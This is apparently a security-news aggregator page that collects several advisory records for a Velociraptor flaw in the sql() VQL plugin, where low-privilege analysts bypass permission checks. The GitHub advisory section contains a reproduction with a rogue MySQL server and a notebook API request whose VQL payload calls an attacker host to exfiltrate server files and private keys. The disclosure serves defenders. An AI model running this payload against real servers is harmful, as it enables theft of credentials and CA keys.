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Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin

CVSS 3.1 6.5 MEDIUMEUVD CVSS 3.1 6.5 CVSS 3.1 · [email protected] · Secondary 6.5 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by www.velocidex.com/golang/velociraptor 0.77.2KEV status unknown

cve-program · CVE-2026-85737

Published

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.

Read the publisher's advisory

euvd · EUVD-2026-118460

Published

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.

Read the publisher's advisory

nvd · CVE-2026-85737

Published

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.

Read the publisher's advisory

osv · GHSA-9qq5-422f-33c2

Published

## Summary The `sql()` VQL plugin runs a caller-supplied database driver and connection string with no permission check (`vql/parsers/sql/sql.go:93`, `SQLPlugin.Call`). For `driver='mysql'` or `driver='postgres'` the handle comes from `GetHandleOther` (`sql.go:39`), which passes the connection string straight to Go `database/sql` `sql.Open` (`sql.go:51`) and executes the query (`sql.go:159`). The plugin declares `FILESYSTEM_READ` only as `Info().Permissions` metadata (`sql.go:219`). That metadata is never consulted at runtime: `metadata.go:19` stores it as a string that only the documentation exporter reads (`api/reflect.go:82-110`). Every sibling network plugin (`http_client`, `netcat`, `s3`, `rsyslog`) calls `CheckAccess(acls.NETWORK)` in its own body; `sql()` calls nothing. The built-in `analyst` role holds `ANY_QUERY` but not `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), and reaches this sink through the notebook query API. Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's `LOAD DATA LOCAL INFILE`, reads any file the root-running server can read, including the deployment CA private key. ## Affected - Velocidex/velociraptor server, `<= v0.77.1` (latest release, 2026-06-23). Identical vulnerable code in `master` HEAD `1961e79` (2026-07-17). - Confirmed live-exploitable on the official `ghcr.io/velocidex/velociraptor-server:latest` image (build 0.77.1, commit bbe2a58). - Stock install, default Basic authenticator, any built-in `analyst`, `investigator`, or `api` role (all hold `ANY_QUERY`, none holds `FILESYSTEM_READ` or `NETWORK`). - No non-default flag required. ## Root cause `SQLPlugin.Call` (`vql/parsers/sql/sql.go:93`) parses the caller `driver`, `connstring`, and `query` arguments and reaches `handle.Query` (`sql.go:159`) without any `vql_subsystem.CheckAccess` call in its body. For `driver='mysql'` or `driver='postgres'` the handle comes from `GetHandleOther` (`sql.go:39`), which hands the attacker connection string to `sql.Open` (`sql.go:51`), so the plugin dials an arbitrary host and, through the MySQL client `LOAD DATA LOCAL INFILE` feature, reads local files. The plugin states its intended gate only as metadata, `VQLMetadata().Permissions(acls.FILESYSTEM_READ)` (`sql.go:219`), but `MetadataBuilder.Permissions` merely stores a string (`vql/metadata.go:19`) that is read only by the reflection exporter (`api/reflect.go:82-110`), never by the query engine. Every sibling network plugin enforces `CheckAccess(acls.NETWORK)` in its own body, so the omission in `sql()` is an enforcement oversight. The default `analyst` role grants `ANY_QUERY` without `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), so a user the operator deliberately restricted still reaches the ungated sink. Note on intent: `acls/acls.go` documents that specific permission combinations grant admin-equivalent power (`SERVER_ARTIFACT_WRITER` with `COLLECT_SERVER`, `ARTIFACT_WRITER` with `COLLECT_CLIENT`), but the `analyst` role holds none of them and is denied `EXECVE`, `NETWORK`, and `FILESYSTEM_READ` on every sibling plugin. If `ANY_QUERY` is nonetheless intended as trusted, the plugin's own `Permissions(FILESYSTEM_READ)` metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check. ## Reproduction `ghcr.io/velocidex/velociraptor-server:latest` (v0.77.1), default config, GUI on `https://localhost:8889`, one built-in `analyst` user. 1) As `analyst`, confirm the control: the gated accessor denies the read. sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1') => sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ] 2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a `LOAD DATA LOCAL INFILE <target>` packet. 3) As the same `analyst`, call the ungated branch through the notebook query API: POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token) {"type":"vql","input":"SELECT * FROM sql(driver='mysql', connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')"} The rogue server receives the file: QUERY: 'SELECT 1' EXFIL 12860 bytes /etc/velociraptor/server.config.yaml contains: CA private_key, gw_private_key, Frontend private_key Live-verified: analyst `pocdemo` exfiltrated `/etc/passwd`, `/etc/shadow` (mode 0600), and `server.config.yaml`, each sha256 byte-identical to `docker exec sha256sum`, while `http_client()` on the same account returns `PermissionDenied: [NETWORK]`. ## Impact * CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint. * Any root-readable file on the server host disclosed (`/etc/shadow`, datastore user records with password hashes, cross-tenant `orgs` data). * Arbitrary outbound TCP from the server host through the same sink and the `upload_sftp`, `upload_smb`, `upload_azure`, `upload_gcs` plugins. * Root-owned file creation at any path via the `sqlite` branch (zero-permission `data` accessor plus an in-query `ATTACH DATABASE`). * Triggered by the lowest built-in query role, default config, one query, no admin interaction. ## Credit Jan Kahmen, [turingpoint](https://www.turingpoint.de) ([email protected])

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16 Nov 2026 01:39:32 UTC

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks be…

euvd · EUVD-2026-118460 · Published

14 Nov 2026 00:05:04 UTC

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks be…

euvd · EUVD-2026-118460 · Published

13 Nov 2026 23:59:06 UTC

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks be…

nvd · CVE-2026-85737 · Published

11 Nov 2026 23:57:27 UTC

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks be…

euvd · EUVD-2026-118460 · Published

11 Nov 2026 23:56:51 UTC

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks be…

nvd · CVE-2026-85737 · Published

10 Nov 2026 22:21:22 UTC

Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin

cve-program · CVE-2026-85737 · Published

9 Nov 2026 23:05:14 UTC

Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin

euvd · EUVD-2026-118460 · Published

9 Nov 2026 23:04:37 UTC

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks be…

nvd · CVE-2026-85737 · Published

9 Nov 2026 23:04:27 UTC

Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin

osv · GHSA-9qq5-422f-33c2 · Published

6 Nov 2026 22:02:45 UTC

Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin

cve-program · CVE-2026-85737 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 17 Nov 00:39 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current